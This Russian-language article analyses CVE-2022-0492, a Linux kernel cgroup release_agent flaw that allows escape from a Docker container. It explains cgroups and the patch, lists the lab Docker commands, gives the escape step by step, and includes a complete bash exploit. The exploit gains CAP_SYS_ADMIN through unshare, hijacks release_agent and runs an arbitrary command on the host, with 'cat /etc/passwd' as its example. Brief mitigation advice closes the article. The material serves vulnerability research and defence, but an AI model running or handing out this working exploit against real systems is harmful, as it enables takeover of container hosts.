
Детальный технический анализ и рабочий эксплойт для CVE-2022-0492 — побег из контейнера ядра Linux через cgroup release_agent, с пошаговой настройкой лабораторной среды и рекомендациями по смягчению последствий.
[toc]
Идентификатор уязвимости: CVE-2022-0492
Уязвимый продукт: linux kernel – cgroup
Затрагиваемые версии: ~linux kernel 5.17-rc3
Вред от уязвимости: если в контейнере не включены дополнительные меры безопасности, получение root-прав внутри контейнера позволяет совершить побег на хост-систему.
Достаточно использовать Docker на Linux с уязвимым ядром.
# Запуск Docker с отключением всех защитных механизмов
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
В данной статье для эксперимента используется Docker.
Метод эксплуатации этой уязвимости уже является старым знакомым, однако новизна заключается в том, что изменение release_agent cgroup происходит без проверки прав, что ещё больше снижает порог для побега (раньше требовалась привилегия CAP_SYS_ADMIN, теперь она не нужна). Подробнее о различиях в условиях эксплуатации – см. раздел "Условия эксплуатации" далее.
Анализ патча: исправлена функция cgroup_release_agent_write, добавлена проверка подлинности. Это означает, что параметр release_agent cgroup больше не может быть изменён пользователем без соответствующих прав:

Таким образом, уязвимость определяется как неисправный контроль доступа.
cgroup (Control Group) – функционал ядра Linux, используемый для ограничения, контроля и изоляции ресурсов (таких как CPU, память, ввод/вывод диска) для группы процессов.
cgroup имеет следующие подсистемы:
devices – управление разрешениями на устройства для процессовcpuset – выделение процессам доступных ядер CPU и узлов памятиcpu – управление долей использования CPUcpuacct – статистика использования CPU (например, время работы, время троттлинга)memory – ограничение верхнего лимита памятиfreezer – приостановка процессов в cgroupnet_cls – совместно с tc (traffic controller) ограничение пропускной способности сетиnet_prio – установка приоритета сетевого трафика процессовhuge_tlb – ограничение использования больших страниц (HugeTLB)perf_event – разрешает инструменту Perf проводить анализ производительности на основе группировки cgroupcgroup на хосте находятся в /sys/fs/cgroup, там можно увидеть каждую подсистему cgroup:

Соответствующая подсистема cgroup внутри Docker является дочерним узлом этой cgroup на хосте. Просмотр memory cgroup в Docker:

Узел с именем контейнера в каталоге Docker на хосте выглядит точно так же:

cgroup используется через файловую систему: с помощью mount cgroup монтируется в каталог, cgroup взаимодействует через виртуальную файловую систему VFS. Интерфейсы cgroup представлены в виде файлов, и параметры cgroup настраиваются операциями с файлами.
mount -t cgroup -o memory cgroup /tmp/testcgroup

Можно создать дочерний узел cgroup, создав подкаталог: mkdir /tmp/testcgroup/x.
Каждая подсистема cgroup имеет параметр notify_on_release. Это булево значение (1 или 0), которое включает или отключает выполнение команды освобождения агента. Если notify_on_release включён (равен 1), то когда cgroup перестаёт содержать задачи (т.е. когда последний процесс в cgroup завершается и PID в файле tasks становится пустым), ядро выполняет содержимое файла, указанного в параметре release_agent. Значение notify_on_release можно изменить, записывая в одноимённый файл.

Уязвимость возникает именно при изменении release_agent. Ранее для изменения release_agent было достаточно иметь возможность управлять cgroup, но для использования cgroup требовалась привилегия CAP_SYS_ADMIN. Однако позже исследователи обнаружили, что с помощью команды unshare можно создать новое пространство имён и получить все capabilities, включая CAP_SYS_ADMIN. Таким образом, ограничение CAP_SYS_ADMIN перестало действовать, и порог для эксплуатации резко снизился.
Команда unshare отменяет совместное использование указанных пространств имён с родительским процессом, создаёт новые и запускает указанную программу в этом новом пространстве имён. Важно для нашей эксплуатации: созданное unshare пространство имён обладает всеми capabilities, включая CAP_SYS_ADMIN.

Метод эксплуатации данной уязвимости совпадает с традиционным побегом через CAP_SYS_ADMIN + cgroup release_agent, однако условия эксплуатации различаются.
Различия в условиях эксплуатации по сравнению с традиционным побегом через release_agent:
Традиционный release_agent: контейнер должен обладать CAP_SYS_ADMIN, при этом apparmor и selinux должны быть отключены.
CVE-2022-0492: контейнер работает "голым" (более детально: seccomp не запрещает unshare, apparmor не делает cgroup только для чтения, selinux отключён). Достаточно получить root-права внутри контейнера. CAP_SYS_ADMIN не требуется.
Стоит отметить, что apparmor в Docker по умолчанию делает cgroup только для чтения, а seccomp по умолчанию запрещает unshare для процессов без CAP_SYS_ADMIN. В Kubernetes по умолчанию контейнеры часто запускаются "голыми". В целом, из-за относительной простоты эксплуатации можно попробовать в конкретных сценариях.
После исправления уязвимости: судя по коду патча:

Для изменения файла release_agent теперь необходимы два условия:
После исправления получить CAP_SYS_ADMIN через unshare уже недостаточно для изменения release_agent, поскольку новое пространство имён, созданное unshare, не является корневым. Однако если контейнер изначально обладает CAP_SYS_ADMIN, то этот метод побега всё ещё может быть использован.
Если Docker запущен с параметром --cap-add=SYS_ADMIN или --privileged (привилегированный контейнер), то контейнер уже имеет CAP_SYS_ADMIN. Пример запуска:
# Docker с привилегией SYS_ADMIN, отключение apparmor (иначе не смонтировать)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Контейнер с CAP_SYS_ADMIN может сразу перейти к шагу "Изменение release_agent". Для запуска контейнера без CAP_SYS_ADMIN и воспроизведения уязвимости используем:
# Запуск Docker с отключением всех защитных механизмов
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Не имея CAP_SYS_ADMIN, получаем её с помощью команды unshare:
unshare -UrmC --propagation=unchanged bash
Новое пространство имён получает все capabilities.

Монтируем cgroup в каталог. Этот шаг требует CAP_SYS_ADMIN, так как используется mount. На предыдущем шаге мы либо имеем встроенный CAP_SYS_ADMIN, либо получили его через unshare. Кроме того, нужно создать узел cgroup внутри только что смонтированной cgroup, чтобы впоследствии выполнить очистку задач:
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
# Затем создаём внутри /tmp/testcgroup ещё один
mkdir /tmp/testcgroup/x
Если не удаётся смонтировать memory или в подсистеме memory нет release_agent, можно использовать другую подсистему cgroup.
Из файла /etc/mtab можно получить информацию о смонтированной файловой системе Docker overlay. Параметр upperdir указывает на абсолютный путь корневого каталога контейнера на хосте:

Его можно извлечь командой:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
Устанавливаем notify_on_release в 1, чтобы включить выполнение release_agent после очистки задач в cgroup:
echo 1 > /tmp/testcgroup/x/notify_no_release
Создаём файл, который будет выполняться при срабатывании release_agent:
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result" >> /cmd
chmod 777 /cmd
Изменяем release_agent: указываем путь к файлу cmd на хосте (путь к корневому каталогу контейнера на хосте мы уже получили):
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
Далее записываем задачу в узел x cgroup: добавляем PID текущей оболочки в файл cgroup.procs.
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
Команда sh выполняет только один echo и сразу завершается, поэтому узел x cgroup остаётся без задач. Это вызывает срабатывание notify_on_release, который выполняет файл /cmd, указанный в release_agent. Ядро запускает эту команду вне контейнера, и побег совершён. Успешный побег:

На основе описанного процесса написан эксплойт:
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result" >> $cmdPath
chmod 777 $cmdPath
#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash
subsys=\$1
mountDir=\$2
host_path=\$3
mount -t cgroup -o \$subsys cgroup \$mountDir
if [ ! -d \$mountDir/x ]
then
mkdir \$mountDir/x
fi
cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent
sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir
EOF
chmod 777 ./escape.sh
#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}
ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
ifSysAdmin=1
fi
if [ $ifSysAdmin == 1 ]
then
echo "[+] You have CAP_SYS_ADMIN!"
else
echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi
#try escape
while read -r subsys
do
if [ $ifSysAdmin == 1 ]
then
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
./escape.sh $subsys $mountDir $hostPath
echo "[+] Escape Success!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
else
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
echo "[+] Escape Success with unshare!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
echo "[-] Escape Fail!"
rm -r $mountDir
Запустить, передав в качестве аргумента команду, которую нужно выполнить при побеге: например, ./exp.sh "cat /etc/passwd".
Успешный побег:

Docker по умолчанию включает seccomp и apparmor. Если контейнер запущен с настройками по умолчанию, побег через данную уязвимость невозможен. Kubernetes по умолчанию не применяет никаких средств защиты, поэтому необходимо вручную включать seccomp и apparmor или selinux.
https://nvd.nist.gov/vuln/detail/CVE-2022-0492
https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
https://www.freebuf.com/vuls/264843.html
Кроме того, уточнялись детали у людей, участвовавших в поиске этой уязвимости.